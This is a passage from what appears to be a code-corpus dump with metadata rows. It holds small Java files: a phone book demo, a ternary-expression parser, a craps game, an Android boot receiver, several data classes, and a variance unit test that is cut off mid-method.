"context": " add(\"Ленин\", \"+7 (555) 123-45-01\");\n add(\"Сталин\", \"+7 (555) 123-45-02\");\n add(\"Малинков\", ",
"end": 345,
"score": 0.9998756647109985,
"start": 339,
"tag": "NAME",
"value": "Сталин"
},
{
"context": "add(\"Сталин\", \"+7 (555) 123-45-02\");\n add(\"Малинков\", \"+7 (555) 123-45-03\");\n add(\"Хрущев\", \"+",
"end": 392,
"score": 0.9998725652694702,
"start": 384,
"tag": "NAME",
"value": "Малинков"
},
{
"context": "d(\"Малинков\", \"+7 (555) 123-45-03\");\n add(\"Хрущев\", \"+7 (555) 123-45-04\");\n add(\"Брежнев\", \"",
"end": 437,
"score": 0.9998486638069153,
"start": 431,
"tag": "NAME",
"value": "Хрущев"
},
{
"context": "add(\"Хрущев\", \"+7 (555) 123-45-04\");\n add(\"Брежнев\", \"+7 (555) 123-45-05\");\n add(\"Андропов\", ",
"end": 483,
"score": 0.9998699426651001,
"start": 476,
"tag": "NAME",
"value": "Брежнев"
},
{
"context": "dd(\"Брежнев\", \"+7 (555) 123-45-05\");\n add(\"Андропов\", \"+7 (555) 123-45-06\");\n add(\"Черненко\", ",
"end": 530,
"score": 0.9998738765716553,
"start": 522,
"tag": "NAME",
"value": "Андропов"
},
{
"context": "d(\"Андропов\", \"+7 (555) 123-45-06\");\n add(\"Черненко\", \"+7 (555) 123-45-07\");\n add(\"Горбачев\",\"",
"end": 577,
"score": 0.9998582601547241,
"start": 569,
"tag": "NAME",
"value": "Черненко"
},
{
"context": "d(\"Черненко\", \"+7 (555) 123-45-07\");\n add(\"Горбачев\",\"+7 (555) 123-45-08\");\n add(\"Ельцин\",\"+7 ",
"end": 624,
"score": 0.9998630285263062,
"start": 616,
"tag": "NAME",
"value": "Горбачев"
},
{
"context": "dd(\"Горбачев\",\"+7 (555) 123-45-08\");\n add(\"Ельцин\",\"+7 (555) 123-45-09\");\n add(\"Путин\",\"+7 (",
"end": 668,
"score": 0.9998514652252197,
"start": 662,
"tag": "NAME",
"value": "Ельцин"
},
{
"context": " add(\"Ельцин\",\"+7 (555) 123-45-09\");\n add(\"Путин\",\"+7 (555) 123-45-10\");\n add(\"Медведев\",\"+",
"end": 711,
"score": 0.9998341202735901,
"start": 706,
"tag": "NAME",
"value": "Путин"
},
{
"context": " add(\"Путин\",\"+7 (555) 123-45-10\");\n add(\"Медведев\",\"+7 (555) 123-45-11\");\n add(\"Путин\",\"+7 (",
"end": 757,
"score": 0.9998546838760376,
"start": 749,
"tag": "NAME",
"value": "Медведев"
},
{
"context": "dd(\"Медведев\",\"+7 (555) 123-45-11\");\n add(\"Путин\",\"+7 (555) 123-45-12\");\n\n System.out.print",
"end": 800,
"score": 0.9998409152030945,
"start": 795,
"tag": "NAME",
"value": "Путин"
},
{
"context": " Iterator<String> iter;\n\n phoneOwner = \"Горбачев\";\n printPhoneOwnerData(phoneOwner);\n\n ",
"end": 927,
"score": 0.9998466372489929,
"start": 919,
"tag": "NAME",
"value": "Горбачев"
},
{
"context": "honeOwnerData(phoneOwner);\n\n phoneOwner = \"Путин\";\n printPhoneOwnerData(phoneOwner);\n\n ",
"end": 999,
"score": 0.9998540878295898,
"start": 994,
"tag": "NAME",
"value": "Путин"
},
{
"context": "honeOwnerData(phoneOwner);\n\n phoneOwner = \"Иванов\";\n printPhoneOwnerData(phoneOwner);\n\n }",
"end": 1072,
"score": 0.9998706579208374,
"start": 1066,
"tag": "NAME",
"value": "Иванов"
}
]
| null | []
| package java2.lesson3;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
public class PhoneBook {
static HashMap<String, ArrayList<String>> phoneBook = new HashMap<>();
static String phoneOwner;
public static void main(String[] args) {
add("Ленин", "+7 (555) 123-45-01");
add("Сталин", "+7 (555) 123-45-02");
add("Малинков", "+7 (555) 123-45-03");
add("Хрущев", "+7 (555) 123-45-04");
add("Брежнев", "+7 (555) 123-45-05");
add("Андропов", "+7 (555) 123-45-06");
add("Черненко", "+7 (555) 123-45-07");
add("Горбачев","+7 (555) 123-45-08");
add("Ельцин","+7 (555) 123-45-09");
add("Путин","+7 (555) 123-45-10");
add("Медведев","+7 (555) 123-45-11");
add("Путин","+7 (555) 123-45-12");
System.out.println(phoneBook);
Iterator<String> iter;
phoneOwner = "Горбачев";
printPhoneOwnerData(phoneOwner);
phoneOwner = "Путин";
printPhoneOwnerData(phoneOwner);
phoneOwner = "Иванов";
printPhoneOwnerData(phoneOwner);
}
private static void add(String name, String phoneNumber){
ArrayList<String> arrayList = new ArrayList<>();
if (phoneBook.containsKey(name)){
arrayList=phoneBook.get(name);
}
arrayList.add(phoneNumber);
phoneBook.put(name, arrayList);
}
private static Iterator<String> get(String name){
return phoneBook.get(name)!=null?phoneBook.get(name).iterator():null;
}
private static void printPhoneOwnerData (String phoneOwner){
Iterator <String> iter=get(phoneOwner);
if (iter==null) {
System.out.println("Абонент " + phoneOwner + " не найден");
return;
}
System.out.println("Все телефоны абонента " + phoneOwner);
while (iter.hasNext()){
System.out.println(iter.next()+ " ");
}
}
}
| 2,101 | 0.578252 | 0.510163 | 63 | 30.238094 | 21.583881 | 77 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.809524 | false | false | 1 |
109ac08cad7f0dbb450a76cf80104cc65d30f7ce | 20,255,065,815,511 | f66e9ce73c8dfcab523e680b59bb1e55f5ebe5d1 | /leetcode一刷/Stack栈/表达式计算/_439_TernaryExpressionParser.java | 24836bc847607841b6a0b238c214cb8aece7ae50 | []
| no_license | kqiu10/LeetcodeSolutionJava | https://github.com/kqiu10/LeetcodeSolutionJava | b8ca84df4e7ada2ad6be3bf1a34b19054ebb3b60 | f4609cc2c1fc9d1c21180bc1162bc1a538c4c6e5 | refs/heads/master | 2023-05-31T07:19:51.896000 | 2021-06-19T20:44:57 | 2021-06-19T20:44:57 | 280,535,038 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package Stack栈.表达式计算;
/**
* Package Name : Stack栈.表达式计算;
* File name : _439_TernaryExpressionParser;
* Creator: Kane;
* Date: 8/24/20
*/
import java.util.Stack;
/**
* Time complexity:O(n);
* Space complexity: O(n);
* Description:
* 1. iterate from right to left;
* 2. when meet ternary signal judge true or false;
*/
public class _439_TernaryExpressionParser {
public String parseTernary(String expression) {
if (expression.length() == 0 || expression == null) return "0";
Stack<Character> stack = new Stack<>();
for (int i = expression.length() - 1; i >= 0; i--) {
char c = expression.charAt(i);
if (!stack.isEmpty() && stack.peek() == '?') {
stack.pop();
char first = stack.pop();
stack.pop();
char second = stack.pop();
if (c == 'T') {
stack.push(first);
}
if (c == 'F') stack.push(second);
} else {
stack.push(c);
}
}
return String.valueOf(stack.pop());
}
}
| UTF-8 | Java | 1,144 | java | _439_TernaryExpressionParser.java | Java | [
{
"context": "e name : _439_TernaryExpressionParser;\n * Creator: Kane;\n * Date: 8/24/20\n */\n\nimport java.util.Stack;\n\n/",
"end": 119,
"score": 0.7185355424880981,
"start": 115,
"tag": "NAME",
"value": "Kane"
}
]
| null | []
| package Stack栈.表达式计算;
/**
* Package Name : Stack栈.表达式计算;
* File name : _439_TernaryExpressionParser;
* Creator: Kane;
* Date: 8/24/20
*/
import java.util.Stack;
/**
* Time complexity:O(n);
* Space complexity: O(n);
* Description:
* 1. iterate from right to left;
* 2. when meet ternary signal judge true or false;
*/
public class _439_TernaryExpressionParser {
public String parseTernary(String expression) {
if (expression.length() == 0 || expression == null) return "0";
Stack<Character> stack = new Stack<>();
for (int i = expression.length() - 1; i >= 0; i--) {
char c = expression.charAt(i);
if (!stack.isEmpty() && stack.peek() == '?') {
stack.pop();
char first = stack.pop();
stack.pop();
char second = stack.pop();
if (c == 'T') {
stack.push(first);
}
if (c == 'F') stack.push(second);
} else {
stack.push(c);
}
}
return String.valueOf(stack.pop());
}
}
| 1,144 | 0.502679 | 0.4875 | 40 | 27 | 18.984203 | 71 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.6 | false | false | 1 |
4668132d6e8ebce7e4e1e7fcb80025348104fab6 | 34,943,853,956,975 | ec78a7f449db09b65afa667e00ff0e3d926356c3 | /src/mini_2_craps_and_credit_cards/Craps.java | 778f64f1dbe9706774704516cc93e15f822ceec9 | []
| no_license | ninatodic/BILD-IT-Zadaci | https://github.com/ninatodic/BILD-IT-Zadaci | 34046320752cf5a0392ada4bb68057390f8141fb | ac74e0750fbf0d49547894bb4f3ce5e653cb7bc3 | refs/heads/master | 2021-01-13T05:22:08.156000 | 2017-03-22T07:50:17 | 2017-03-22T07:50:17 | 81,374,841 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package mini_2_craps_and_credit_cards;
public class Craps {
public static void main(String[] args) {
// use math random to simulate throwing the dices
int dice1 = 1 + (int) (Math.random() * 6);
int dice2 = 1 + (int) (Math.random() * 6);
int sum = dice1 + dice2;
System.out.println("You rolled " + dice1 + " + " + dice2 + " = " + sum);// print the result
if (sum == 2 || sum == 3 || sum == 12) { // in this cases player loose
System.out.println("You lose.");
} else if (sum == 7 || sum == 11) { // in this cases player wins
System.out.println("You win.");
} else { // in other cases player throws again trying to get the same sum as in first throw
int point = sum;
System.out.println("The point is " + point); // printing the result of first throw
dice1 = 1 + (int) (Math.random() * 6); // simulate throwing again
dice2 = 1 + (int) (Math.random() * 6);
sum = dice1 + dice2;
System.out.println("You rolled " + dice1 + " + " + dice2 + " = " + sum); // print the result
if (sum == point) // if the result is the same player won
System.out.println("You win.");
else // otherwise player lost
System.out.println("You lose");
}
}
}
| UTF-8 | Java | 1,265 | java | Craps.java | Java | []
| null | []
| package mini_2_craps_and_credit_cards;
public class Craps {
public static void main(String[] args) {
// use math random to simulate throwing the dices
int dice1 = 1 + (int) (Math.random() * 6);
int dice2 = 1 + (int) (Math.random() * 6);
int sum = dice1 + dice2;
System.out.println("You rolled " + dice1 + " + " + dice2 + " = " + sum);// print the result
if (sum == 2 || sum == 3 || sum == 12) { // in this cases player loose
System.out.println("You lose.");
} else if (sum == 7 || sum == 11) { // in this cases player wins
System.out.println("You win.");
} else { // in other cases player throws again trying to get the same sum as in first throw
int point = sum;
System.out.println("The point is " + point); // printing the result of first throw
dice1 = 1 + (int) (Math.random() * 6); // simulate throwing again
dice2 = 1 + (int) (Math.random() * 6);
sum = dice1 + dice2;
System.out.println("You rolled " + dice1 + " + " + dice2 + " = " + sum); // print the result
if (sum == point) // if the result is the same player won
System.out.println("You win.");
else // otherwise player lost
System.out.println("You lose");
}
}
}
| 1,265 | 0.56917 | 0.547036 | 36 | 33.138889 | 32.338619 | 122 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.333333 | false | false | 1 |
77d92041b5fd08848605491900c21d1c130934f2 | 36,515,811,980,703 | cf73e4ee7719d01ab3903b396de4d8398a28ea6d | /app/src/main/java/com/rajumia/fotomela/SearchViewModel.java | 181907d11a59ae6e8d5fd4231744344fc153c4df | []
| no_license | rajnish011299/Fotomela | https://github.com/rajnish011299/Fotomela | 3af3a023527a8a8c00b3fbe746411b30b1fccf7c | 8283ee8b8648d35ea3693951d4e7dd15035d43f4 | refs/heads/master | 2022-11-27T05:08:44.315000 | 2020-08-01T12:25:57 | 2020-08-01T12:25:57 | 284,256,979 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.rajumia.fotomela;
public class SearchViewModel {
private String username,city;
// Empty Constructor for Firebase
private SearchViewModel(){};
// Constructor for getting data
private SearchViewModel(String username,String city)
{
this.username = username;
this.city = city;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getCity() {
return city;
}
public void setCity(String city) {
this.city = city;
}
}
| UTF-8 | Java | 621 | java | SearchViewModel.java | Java | [
{
"context": "sername,String city)\n {\n this.username = username;\n this.city = city;\n }\n\n public Stri",
"end": 301,
"score": 0.9944308400154114,
"start": 293,
"tag": "USERNAME",
"value": "username"
},
{
"context": "sername(String username) {\n this.username = username;\n }\n\n public String getCity() {\n ret",
"end": 481,
"score": 0.5608469843864441,
"start": 473,
"tag": "USERNAME",
"value": "username"
}
]
| null | []
| package com.rajumia.fotomela;
public class SearchViewModel {
private String username,city;
// Empty Constructor for Firebase
private SearchViewModel(){};
// Constructor for getting data
private SearchViewModel(String username,String city)
{
this.username = username;
this.city = city;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getCity() {
return city;
}
public void setCity(String city) {
this.city = city;
}
}
| 621 | 0.624799 | 0.624799 | 32 | 18.40625 | 16.571548 | 56 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.34375 | false | false | 1 |
560452071fa884fb184a6f346c0931c83f1d4af4 | 38,766,374,818,580 | cb069e24cab28a5c2133c5b7ceef9eb87d6c04ae | /src/main/java/PracticeTests/Chapter19/Question34/Song.java | d041da782e63b56445378629c7a66b4f7d39c3dc | []
| no_license | ChristofBuechi/ocp_preparation | https://github.com/ChristofBuechi/ocp_preparation | ad84aea3aed5f6c33376a154d4279b4c246c6dc0 | e1ac8cb10cedd55c0a0120b5e43c8c54d55d32fc | refs/heads/master | 2021-07-13T23:08:59.923000 | 2018-01-04T13:27:22 | 2018-01-04T13:27:22 | 96,818,572 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package PracticeTests.Chapter19.Question34;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.attribute.BasicFileAttributeView;
import java.nio.file.attribute.BasicFileAttributes;
import java.nio.file.attribute.FileTime;
public class Song {
public static void organize(Path folder, Path file) throws IOException {
Path p = folder.resolve(file);
// BasicFileAttributeView vw = Files.getFileAttributeView(p, BasicFileAttributes.class); //does not compile
// if( vw.readAttributes().creationTime().toMillis()<System.currentTimeMillis()) {
// vw.setTimes(FileTime.from(System.currentTimeMillis()), null, null); //does not compile
// }
}
public static void main(String[] audio) throws Exception {
Song.organize(Paths.get("/", "pub"), new File("/songs").toPath());
}
}
| UTF-8 | Java | 934 | java | Song.java | Java | []
| null | []
| package PracticeTests.Chapter19.Question34;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.attribute.BasicFileAttributeView;
import java.nio.file.attribute.BasicFileAttributes;
import java.nio.file.attribute.FileTime;
public class Song {
public static void organize(Path folder, Path file) throws IOException {
Path p = folder.resolve(file);
// BasicFileAttributeView vw = Files.getFileAttributeView(p, BasicFileAttributes.class); //does not compile
// if( vw.readAttributes().creationTime().toMillis()<System.currentTimeMillis()) {
// vw.setTimes(FileTime.from(System.currentTimeMillis()), null, null); //does not compile
// }
}
public static void main(String[] audio) throws Exception {
Song.organize(Paths.get("/", "pub"), new File("/songs").toPath());
}
}
| 934 | 0.716274 | 0.711991 | 24 | 37.916668 | 32.87846 | 115 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.791667 | false | false | 1 |
b2de9be3b634267369ff7d0dfba4ae660d6a081f | 25,795,573,649,072 | d90098f643eaf6c2a932cc7600bd2634de6b9cdd | /recibee/src/vo/DishVO.java | c709227d5b0fa482ec74cbae28c65062902df86e | []
| no_license | maskan19/WEBSITE-RECIBEE | https://github.com/maskan19/WEBSITE-RECIBEE | 4ea0b1dbf1b03ed34e7241f0f786c15712689d8f | f5b1212b101b382cf9dc5694bc981c76ae36aa58 | refs/heads/master | 2023-04-24T10:46:37.896000 | 2021-05-06T02:56:35 | 2021-05-06T02:56:35 | 347,013,463 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package vo;
public class DishVO {
private String dish_photo;
private int dish_rpt;
private int dish_rec;
private int mth_code;
private int dish_del;
private String dish_date;
private int dish_hit;
private String dish_name;
private int dish_code;
private String mem_id;
public final String getDish_photo() {
return dish_photo;
}
public final void setDish_photo(String dish_photo) {
this.dish_photo = dish_photo;
}
public final int getDish_rpt() {
return dish_rpt;
}
public final void setDish_rpt(int dish_rpt) {
this.dish_rpt = dish_rpt;
}
public final int getDish_rec() {
return dish_rec;
}
public final void setDish_rec(int dish_rec) {
this.dish_rec = dish_rec;
}
public final int getMth_code() {
return mth_code;
}
public final void setMth_code(int mth_code) {
this.mth_code = mth_code;
}
public final int getDish_del() {
return dish_del;
}
public final void setDish_del(int dish_del) {
this.dish_del = dish_del;
}
public final String getDish_date() {
return dish_date;
}
public final void setDish_date(String dish_date) {
this.dish_date = dish_date;
}
public final int getDish_hit() {
return dish_hit;
}
public final void setDish_hit(int dish_hit) {
this.dish_hit = dish_hit;
}
public final String getDish_name() {
return dish_name;
}
public final void setDish_name(String dish_name) {
this.dish_name = dish_name;
}
public final int getDish_code() {
return dish_code;
}
public final void setDish_code(int dish_code) {
this.dish_code = dish_code;
}
public final String getMem_id() {
return mem_id;
}
public final void setMem_id(String mem_id) {
this.mem_id = mem_id;
}
} | UTF-8 | Java | 1,667 | java | DishVO.java | Java | []
| null | []
| package vo;
public class DishVO {
private String dish_photo;
private int dish_rpt;
private int dish_rec;
private int mth_code;
private int dish_del;
private String dish_date;
private int dish_hit;
private String dish_name;
private int dish_code;
private String mem_id;
public final String getDish_photo() {
return dish_photo;
}
public final void setDish_photo(String dish_photo) {
this.dish_photo = dish_photo;
}
public final int getDish_rpt() {
return dish_rpt;
}
public final void setDish_rpt(int dish_rpt) {
this.dish_rpt = dish_rpt;
}
public final int getDish_rec() {
return dish_rec;
}
public final void setDish_rec(int dish_rec) {
this.dish_rec = dish_rec;
}
public final int getMth_code() {
return mth_code;
}
public final void setMth_code(int mth_code) {
this.mth_code = mth_code;
}
public final int getDish_del() {
return dish_del;
}
public final void setDish_del(int dish_del) {
this.dish_del = dish_del;
}
public final String getDish_date() {
return dish_date;
}
public final void setDish_date(String dish_date) {
this.dish_date = dish_date;
}
public final int getDish_hit() {
return dish_hit;
}
public final void setDish_hit(int dish_hit) {
this.dish_hit = dish_hit;
}
public final String getDish_name() {
return dish_name;
}
public final void setDish_name(String dish_name) {
this.dish_name = dish_name;
}
public final int getDish_code() {
return dish_code;
}
public final void setDish_code(int dish_code) {
this.dish_code = dish_code;
}
public final String getMem_id() {
return mem_id;
}
public final void setMem_id(String mem_id) {
this.mem_id = mem_id;
}
} | 1,667 | 0.691662 | 0.691662 | 76 | 20.947369 | 15.699392 | 53 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.618421 | false | false | 1 |
f6930f4305161f9804c597d6a54406e690832d27 | 35,802,847,409,303 | 177865ee27e8960ae432d9044227677e2d278ad5 | /app/src/main/java/com/beowulfchain/beowulfcallee/Service/BootReceiver.java | 19a6b6e1ea591f6e3aef9ec77b2092086ee94be0 | []
| no_license | tqdinh/beowulf_callee | https://github.com/tqdinh/beowulf_callee | dcc07f4452e782ded9142606ed551cf406e76d18 | 223a85977ed263b57a44bbb6b373308d5fe8b517 | refs/heads/master | 2020-06-23T23:31:56.373000 | 2019-11-14T11:12:16 | 2019-11-14T11:12:16 | 198,782,158 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.beowulfchain.beowulfcallee.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import com.beowulfchain.beowulfcallee.MainApplication;
import static android.content.Intent.ACTION_MAIN;
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent restartAfterBoot = new Intent(ACTION_MAIN).setClass(MainApplication.getAppContext(), MainService.class);
restartAfterBoot.putExtra("BOOTTT",true);
MainApplication.getInstance().StartServiceWithIntent(restartAfterBoot);
}
}
| UTF-8 | Java | 650 | java | BootReceiver.java | Java | []
| null | []
| package com.beowulfchain.beowulfcallee.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import com.beowulfchain.beowulfcallee.MainApplication;
import static android.content.Intent.ACTION_MAIN;
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent restartAfterBoot = new Intent(ACTION_MAIN).setClass(MainApplication.getAppContext(), MainService.class);
restartAfterBoot.putExtra("BOOTTT",true);
MainApplication.getInstance().StartServiceWithIntent(restartAfterBoot);
}
}
| 650 | 0.790769 | 0.790769 | 20 | 31.5 | 32.024208 | 119 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.6 | false | false | 1 |
38c31b0df4de7ecb01da7141d4b1c0eb98622fbb | 35,802,847,405,830 | 14a0d0dc977295cc1077a099e12ca05794e7f84a | /gokong-main/src/main/java/cn/gokong/www/gokongmain/domain/UserRecharge.java | 03e4d7bb3212057f4453822d62e0d59286fc4cee | []
| no_license | yht-817/gokong-manage | https://github.com/yht-817/gokong-manage | 2ec59e86fd1aa8839b6566471026d78c55e2b8c5 | f779614f12b30ccf2495856f873d6b9c87898612 | refs/heads/master | 2020-05-03T18:55:09.754000 | 2019-04-01T03:05:45 | 2019-04-01T03:05:45 | 178,774,202 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package cn.gokong.www.gokongmain.domain;
import com.baomidou.mybatisplus.annotation.TableName;
import java.io.Serializable;
import java.math.BigDecimal;
import java.util.Date;
/**
* <p>
* 用户充值记录表
* </p>
*
* @author tom
* @since 2018-09-19
*/
@TableName("user_recharge")
public class UserRecharge implements Serializable {
private static final long serialVersionUID = 1L;
private String id;
/**
* 用户编码
*/
private String userNo;
/**
* 充值单号
*/
private String rechargeNo;
/**
* 购买数量
*/
private BigDecimal payNum;
/**
* 赠送数量
*/
private BigDecimal sendNum;
/**
* 充值金额
*/
private BigDecimal rechargeAmount;
/**
* 充值日期
*/
private Date rechargeDate;
/**
* 支付方式 1006
*/
private Integer payNo;
/**
* 充值状态 1013
*/
private String rechargeState;
private String payBillNo;
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUserNo() {
return userNo;
}
public void setUserNo(String userNo) {
this.userNo = userNo;
}
public String getRechargeNo() {
return rechargeNo;
}
public void setRechargeNo(String rechargeNo) {
this.rechargeNo = rechargeNo;
}
public BigDecimal getPayNum() {
return payNum;
}
public void setPayNum(BigDecimal payNum) {
this.payNum = payNum;
}
public BigDecimal getSendNum() {
return sendNum;
}
public void setSendNum(BigDecimal sendNum) {
this.sendNum = sendNum;
}
public BigDecimal getRechargeAmount() {
return rechargeAmount;
}
public void setRechargeAmount(BigDecimal rechargeAmount) {
this.rechargeAmount = rechargeAmount;
}
public Date getRechargeDate() {
return rechargeDate;
}
public void setRechargeDate(Date rechargeDate) {
this.rechargeDate = rechargeDate;
}
public Integer getPayNo() {
return payNo;
}
public void setPayNo(Integer payNo) {
this.payNo = payNo;
}
public String getRechargeState() {
return rechargeState;
}
public void setRechargeState(String rechargeState) {
this.rechargeState = rechargeState;
}
public String getPayBillNo() {
return payBillNo;
}
public void setPayBillNo(String payBillNo) {
this.payBillNo = payBillNo;
}
@Override
public String toString() {
return "UserRecharge{" +
"id=" + id +
", userNo=" + userNo +
", rechargeNo=" + rechargeNo +
", payNum=" + payNum +
", sendNum=" + sendNum +
", rechargeAmount=" + rechargeAmount +
", rechargeDate=" + rechargeDate +
", payNo=" + payNo +
", rechargeState=" + rechargeState +
", payBillNo=" + payBillNo +
"}";
}
}
| UTF-8 | Java | 3,144 | java | UserRecharge.java | Java | [
{
"context": "Date;\n\n/**\n * <p>\n * 用户充值记录表\n * </p>\n *\n * @author tom\n * @since 2018-09-19\n */\n@TableName(\"user_recharg",
"end": 226,
"score": 0.9973151087760925,
"start": 223,
"tag": "USERNAME",
"value": "tom"
}
]
| null | []
| package cn.gokong.www.gokongmain.domain;
import com.baomidou.mybatisplus.annotation.TableName;
import java.io.Serializable;
import java.math.BigDecimal;
import java.util.Date;
/**
* <p>
* 用户充值记录表
* </p>
*
* @author tom
* @since 2018-09-19
*/
@TableName("user_recharge")
public class UserRecharge implements Serializable {
private static final long serialVersionUID = 1L;
private String id;
/**
* 用户编码
*/
private String userNo;
/**
* 充值单号
*/
private String rechargeNo;
/**
* 购买数量
*/
private BigDecimal payNum;
/**
* 赠送数量
*/
private BigDecimal sendNum;
/**
* 充值金额
*/
private BigDecimal rechargeAmount;
/**
* 充值日期
*/
private Date rechargeDate;
/**
* 支付方式 1006
*/
private Integer payNo;
/**
* 充值状态 1013
*/
private String rechargeState;
private String payBillNo;
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUserNo() {
return userNo;
}
public void setUserNo(String userNo) {
this.userNo = userNo;
}
public String getRechargeNo() {
return rechargeNo;
}
public void setRechargeNo(String rechargeNo) {
this.rechargeNo = rechargeNo;
}
public BigDecimal getPayNum() {
return payNum;
}
public void setPayNum(BigDecimal payNum) {
this.payNum = payNum;
}
public BigDecimal getSendNum() {
return sendNum;
}
public void setSendNum(BigDecimal sendNum) {
this.sendNum = sendNum;
}
public BigDecimal getRechargeAmount() {
return rechargeAmount;
}
public void setRechargeAmount(BigDecimal rechargeAmount) {
this.rechargeAmount = rechargeAmount;
}
public Date getRechargeDate() {
return rechargeDate;
}
public void setRechargeDate(Date rechargeDate) {
this.rechargeDate = rechargeDate;
}
public Integer getPayNo() {
return payNo;
}
public void setPayNo(Integer payNo) {
this.payNo = payNo;
}
public String getRechargeState() {
return rechargeState;
}
public void setRechargeState(String rechargeState) {
this.rechargeState = rechargeState;
}
public String getPayBillNo() {
return payBillNo;
}
public void setPayBillNo(String payBillNo) {
this.payBillNo = payBillNo;
}
@Override
public String toString() {
return "UserRecharge{" +
"id=" + id +
", userNo=" + userNo +
", rechargeNo=" + rechargeNo +
", payNum=" + payNum +
", sendNum=" + sendNum +
", rechargeAmount=" + rechargeAmount +
", rechargeDate=" + rechargeDate +
", payNo=" + payNo +
", rechargeState=" + rechargeState +
", payBillNo=" + payBillNo +
"}";
}
}
| 3,144 | 0.563927 | 0.558382 | 162 | 17.925926 | 17.127537 | 62 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.283951 | false | false | 1 |
5dbb8c75756ce6d9d8b712abfee5c96c2987a44a | 15,831,249,522,971 | 3a1d67c7b1a342ed9262e94560f0d8323ac5e2be | /commons-statistics-descriptive/src/test/java/org/apache/commons/statistics/descriptive/moment/VarianceTest.java | ced114692b32d07dbf42ec1e00e559de44a20f5e | [
"Apache-2.0",
"LicenseRef-scancode-generic-cla",
"BSD-3-Clause"
]
| permissive | virendrasinghrp/commons-statistics | https://github.com/virendrasinghrp/commons-statistics | 57bbfb64d58b3e254224c6d13c8ad5efcfc9fa4b | 3f938864b0676e06850a97fbb956438b7bc785d2 | refs/heads/master | 2020-05-05T03:18:47.865000 | 2019-07-08T01:13:04 | 2019-07-08T01:13:04 | 179,667,692 | 0 | 0 | Apache-2.0 | true | 2019-07-25T00:43:59 | 2019-04-05T11:14:45 | 2019-07-08T01:13:07 | 2019-07-25T00:43:58 | 896 | 0 | 0 | 0 | Java | false | false | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.statistics.descriptive.moment;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import org.junit.jupiter.api.Test;
class VarianceTest {
protected double mean = 12.404545454545455d;
protected double combMean = 13.573076923077d;
protected double var = 10.00235930735931d;
protected double combVar = 19.812446153846d;
protected double tolerance = 10E-12;
protected double[] testArray =
{12.5, 12.0, 11.8, 14.2, 14.9, 14.5, 21.0, 8.2, 10.3, 11.3,
14.1, 9.9, 12.2, 12.0, 12.1, 11.0, 19.8, 11.0, 10.0, 8.8,
9.0, 12.3 };
/**Returns Variance instance.*/
public Variance getVarianceInst() {
return new Variance();
}
/**Expected variance value for testArray. */
public double expectedValue() {
return this.var;
}
/**Expected variance value for Combined Array of testArray and array. */
public double combExpectedValue() {
return this.combVar;
}
/**Getter for tolerance value.*/
public double getTolerance() {
return this.tolerance;
}
/**Getter for mean value of testArray.*/
public double getMean() {
return this.mean;
}
/**Getter for combined mean value of testArray and array.*/
public double getCombMean() {
return this.combMean;
}
/** Verifies that accept(), getVariance(),getN(), getMean() works properly. */
@Test
public void testVariance() {
Variance var2 = getVarianceInst();
// Add testArray one value at a time and check result
for (int i = 0; i < testArray.length; i++) {
var2.accept(testArray[i]);
}
assertEquals(expectedValue(), var2.getVariance(), getTolerance());
assertEquals(testArray.length, var2.getN());
assertEquals(getMean(), var2.getMean(), getTolerance());
}
/** Verifies that combine() works properly. */
@Test
public void testCombine() {
Variance var3 = getVarianceInst();
Variance var4 = getVarianceInst();
final double[] array = {5 * 2 + 4, 5 * 2 + 7, 5 * 2 + 13, 5 * 2 + 16};
// Add array one value at a time in var1 object and check result
for (int i = 0; i < testArray.length; i++) {
var3.accept(testArray[i]);
}
assertEquals(expectedValue(), var3.getVariance(), getTolerance());
assertEquals(testArray.length, var3.getN());
assertEquals(getMean(), var3.getMean(), getTolerance());
// Add array one value at a time in var2 object and check result
for (int i = 0; i < array.length; i++) {
var4.accept(array[i]);
}
// combining var2 with var1
var3.combine(var4);
// Testing getVariance(isBiasCorrected())
assertEquals(combExpectedValue(), var3.getVariance(true), getTolerance());
assertEquals(testArray.length + array.length, var3.getN());
assertEquals(getCombMean(), var3.getMean(), getTolerance());
}
/** Make sure Double.NaN is returned iff n = 0 or 1 */
@Test
public void testNaN() {
Variance var5 = getVarianceInst();
assertTrue(Double.isNaN(var5.getVariance()));
var5.accept(1d);
